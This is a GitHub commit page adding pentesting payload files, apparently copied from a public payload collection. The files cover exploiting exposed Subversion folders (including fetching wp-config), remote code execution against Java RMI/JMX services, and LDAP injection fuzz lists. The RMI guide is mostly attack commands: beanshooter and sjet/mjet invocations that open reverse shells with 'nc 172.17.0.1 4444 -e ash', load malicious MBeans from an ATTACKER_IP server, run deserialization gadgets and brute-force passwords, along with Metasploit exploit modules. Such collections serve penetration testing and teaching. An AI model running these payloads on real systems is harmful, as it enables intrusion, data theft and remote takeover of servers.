Skip to content

Commit 2900de1

Browse files
ProjectZeroDaysProjectZeroDays
authored
Add files via upload
Signed-off-by: PROJECT ZERO <56379955+ProjectZeroDays@users.noreply.github.com>
1 parent 840afb2 commit 2900de1

File tree

80 files changed

+7352
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

80 files changed

+7352
-0
lines changed

‎payloads/Insecure Source Code Management/Files/github-dorks.txt‎

Lines changed: 1401 additions & 0 deletions
Large diffs are not rendered by default.

‎payloads/Insecure Source Code Management/Subversion.md‎

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
# Subversion
2+
3+
> Subversion (often abbreviated as SVN) is a centralized version control system (VCS) that has been widely used in the software development industry. Originally developed by CollabNet Inc. in 2000, Subversion was designed to be an improved version of CVS (Concurrent Versions System) and has since gained significant traction for its robustness and reliability.
4+
5+
## Summary
6+
7+
* [Tools](#tools)
8+
* [Methodology](#methodology)
9+
* [References](#references)
10+
11+
## Tools
12+
13+
* [anantshri/svn-extractor](https://github.com/anantshri/svn-extractor) - Simple script to extract all web resources by means of .SVN folder exposed over network.
14+
```powershell
15+
python svn-extractor.py --url "url with .svn available"
16+
```
17+
18+
## Methodology
19+
20+
```powershell
21+
curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
22+
```
23+
24+
1. Download the svn database from http://server/path_to_vulnerable_site/.svn/wc.db
25+
```powershell
26+
INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
27+
```
28+
29+
2. Download interesting files
30+
* remove `$sha1$` prefix
31+
* add `.svn-base` postfix
32+
* use first byte from hash as a subdirectory of the `pristine/` directory (`94` in this case)
33+
* create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`
34+
35+
## References
36+
37+
- [SVN Extractor for Web Pentesters - Anant Shrivastava - March 26, 2013](http://blog.anantshri.info/svn-extractor-for-web-pentesters/)

‎payloads/JSON Web Token/README.md‎

Lines changed: 544 additions & 0 deletions
Large diffs are not rendered by default.

‎payloads/Java RMI/README.md‎

Lines changed: 147 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,147 @@
1+
# Java RMI
2+
3+
> Java RMI (Remote Method Invocation) is a Java API that allows an object running in one JVM (Java Virtual Machine) to invoke methods on an object running in another JVM, even if they're on different physical machines. RMI provides a mechanism for Java-based distributed computing.
4+
5+
6+
## Summary
7+
8+
* [Tools](#tools)
9+
* [Detection](#detection)
10+
* [Methodology](#methodology)
11+
* [RCE using beanshooter](#rce-using-beanshooter)
12+
* [RCE using sjet/mjet](#rce-using-sjet-or-mjet)
13+
* [RCE using Metasploit](#rce-using-metasploit)
14+
* [References](#references)
15+
16+
17+
## Tools
18+
19+
- [siberas/sjet](https://github.com/siberas/sjet) - siberas JMX exploitation toolkit
20+
- [mogwailabs/mjet](https://github.com/mogwailabs/mjet) - MOGWAI LABS JMX exploitation toolkit
21+
- [qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - Java RMI Vulnerability Scanner
22+
- [qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) - JMX enumeration and attacking tool.
23+
24+
25+
## Detection
26+
27+
* Using [nmap](https://nmap.org/):
28+
```powershell
29+
$ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TARGET_IP -Pn -v
30+
1089/tcp open java-rmi Java RMI
31+
| rmi-vuln-classloader:
32+
| VULNERABLE:
33+
| RMI registry default configuration remote code execution vulnerability
34+
| State: VULNERABLE
35+
| Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
36+
| rmi-dumpregistry:
37+
| jmxrmi
38+
| javax.management.remote.rmi.RMIServerImpl_Stub
39+
```
40+
41+
* Using [qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser):
42+
```bash
43+
$ rmg scan 172.17.0.2 --ports 0-65535
44+
[+] Scanning 6225 Ports on 172.17.0.2 for RMI services.
45+
[+] [HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)
46+
[+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC)
47+
[+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC)
48+
[+] [6234 / 6234] [#############################] 100%
49+
[+] Portscan finished.
50+
51+
$ rmg enum 172.17.0.2 9010
52+
[+] RMI registry bound names:
53+
[+]
54+
[+] - plain-server2
55+
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
56+
[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
57+
[+] - legacy-service
58+
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
59+
[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
60+
[+] - plain-server
61+
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
62+
[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
63+
[...]
64+
```
65+
66+
* Using [rapid7/metasploit-framework](https://github.com/rapid7/metasploit-framework)
67+
```bash
68+
use auxiliary/scanner/misc/java_rmi_server
69+
set RHOSTS <IPs>
70+
set RPORT <PORT>
71+
run
72+
```
73+
74+
## Methodology
75+
76+
If a Java Remote Method Invocation (RMI) service is poorly configured, it becomes vulnerable to various Remote Code Execution (RCE) methods. One method involves hosting an MLet file and directing the JMX service to load MBeans from a distant server, achievable using tools like mjet or sjet. The remote-method-guesser tool is newer and combines RMI service enumeration with an overview of recognized attack strategies.
77+
78+
79+
### RCE using beanshooter
80+
81+
* List available attributes: `beanshooter info 172.17.0.2 9010`
82+
* Display value of an attribute: `beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose`
83+
* Set the value of an attribute: `beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose true --type boolean`
84+
* Bruteforce a password protected JMX service: `beanshooter brute 172.17.0.2 1090`
85+
* List registered MBeans: `beanshooter list 172.17.0.2 9010`
86+
* Deploy an MBean: `beanshooter deploy 172.17.0.2 9010 non.existing.example.ExampleBean qtc.test:type=Example --jar-file exampleBean.jar --stager-url http://172.17.0.1:8000`
87+
* Enumerate JMX endpoint: `beanshooter enum 172.17.0.2 1090`
88+
* Invoke method on a JMX endpoint: `beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'vmVersion()'`
89+
* Invoke arbitrary public and static Java methods:
90+
91+
```ps1
92+
beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")'
93+
beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
94+
```
95+
96+
* Standard MBean execution: `beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash'`
97+
* Deserialization attacks on a JMX endpoint: `beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --username admin --password admin`
98+
99+
100+
### RCE using sjet or mjet
101+
102+
#### Requirements
103+
104+
- Jython
105+
- The JMX server can connect to a http service that is controlled by the attacker
106+
- JMX authentication is not enabled
107+
108+
#### Remote Command Execution
109+
110+
The attack involves the following steps:
111+
* Starting a web server that hosts the MLet and a JAR file with the malicious MBeans
112+
* Creating a instance of the MBean `javax.management.loading.MLet` on the target server, using JMX
113+
* Invoking the `getMBeansFromURL` method of the MBean instance, passing the webserver URL as parameter. The JMX service will connect to the http server and parse the MLet file.
114+
* The JMX service downloads and loades the JAR files that were referenced in the MLet file, making the malicious MBean available over JMX.
115+
* The attacker finally invokes methods from the malicious MBean.
116+
117+
Exploit the JMX using [siberas/sjet](https://github.com/siberas/sjet) or [mogwailabs/mjet](https://github.com/mogwailabs/mjet)
118+
119+
```powershell
120+
jython sjet.py TARGET_IP TARGET_PORT super_secret install http://ATTACKER_IP:8000 8000
121+
jython sjet.py TARGET_IP TARGET_PORT super_secret command "ls -la"
122+
jython sjet.py TARGET_IP TARGET_PORT super_secret shell
123+
jython sjet.py TARGET_IP TARGET_PORT super_secret password this-is-the-new-password
124+
jython sjet.py TARGET_IP TARGET_PORT super_secret uninstall
125+
jython mjet.py --jmxrole admin --jmxpassword adminpassword TARGET_IP TARGET_PORT deserialize CommonsCollections6 "touch /tmp/xxx"
126+
127+
jython mjet.py TARGET_IP TARGET_PORT install super_secret http://ATTACKER_IP:8000 8000
128+
jython mjet.py TARGET_IP TARGET_PORT command super_secret "whoami"
129+
jython mjet.py TARGET_IP TARGET_PORT command super_secret shell
130+
```
131+
132+
### RCE using Metasploit
133+
134+
```bash
135+
use exploit/multi/misc/java_rmi_server
136+
set RHOSTS <IPs>
137+
set RPORT <PORT>
138+
# configure also the payload if needed
139+
run
140+
```
141+
142+
143+
## References
144+
145+
- [Attacking RMI based JMX services - Hans-Martin Münch - April 28, 2019](https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/)
146+
- [JMX RMI - MULTIPLE APPLICATIONS RCE - Red Timmy Security - March 26, 2019](https://www.exploit-db.com/docs/english/46607-jmx-rmi-–-multiple-applications-remote-code-execution.pdf)
147+
- [remote-method-guesser - BHUSA 2021 Arsenal - Tobias Neitzel - August 15, 2021](https://www.slideshare.net/TobiasNeitzel/remotemethodguesser-bhusa2021-arsenal)

‎payloads/LDAP Injection/Intruder/LDAP_FUZZ.txt‎

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
*
2+
*)(&
3+
*))%00
4+
*()|%26'
5+
*()|&'
6+
*(|(mail=*))
7+
*(|(objectclass=*))
8+
*)(uid=*))(|(uid=*
9+
*/*
10+
*|
11+
/
12+
//
13+
//*
14+
@*
15+
|
16+
admin*
17+
admin*)((|userpassword=*)
18+
admin*)((|userPassword=*)
19+
x' or name()='username' or 'x'='y
20+
!
21+
%21
22+
%26
23+
%28
24+
%29
25+
%2A%28%7C%28mail%3D%2A%29%29
26+
%2A%28%7C%28objectclass%3D%2A%29%29
27+
%2A%7C
28+
%7C
29+
&
30+
(
31+
)
32+
)(cn=))\x00
33+
*(|(mail=*))
34+
*(|(objectclass=*))
35+
*/*
36+
*|
37+
/
38+
//
39+
//*
40+
@*
41+
x' or name()='username' or 'x'='y
42+
|
43+
*()|&'
44+
admin*
45+
admin*)((|userpassword=*)
46+
*)(uid=*))(|(uid=*

‎payloads/LDAP Injection/Intruder/LDAP_FUZZ_SMALL.txt‎

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
*
2+
*)(&
3+
*))%00
4+
)(cn=))\x00
5+
*()|%26'
6+
*()|&'
7+
*(|(mail=*))
8+
*(|(objectclass=*))
9+
*)(uid=*))(|(uid=*
10+
*/*
11+
*|
12+
/
13+
//
14+
//*
15+
@*
16+
|
17+
admin*
18+
admin*)((|userpassword=*)
19+
admin*)((|userPassword=*)
20+
x' or name()='username' or 'x'='ys

‎payloads/LDAP Injection/Intruder/LDAP_attributes.txt‎

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
c
2+
cn
3+
co
4+
commonName
5+
dc
6+
facsimileTelephoneNumber
7+
givenName
8+
gn
9+
homePhone
10+
id
11+
jpegPhoto
12+
l
13+
mail
14+
mobile
15+
name
16+
o
17+
objectClass
18+
ou
19+
owner
20+
pager
21+
password
22+
sn
23+
st
24+
surname
25+
uid
26+
username
27+
userPassword

0 commit comments

Comments
 (0)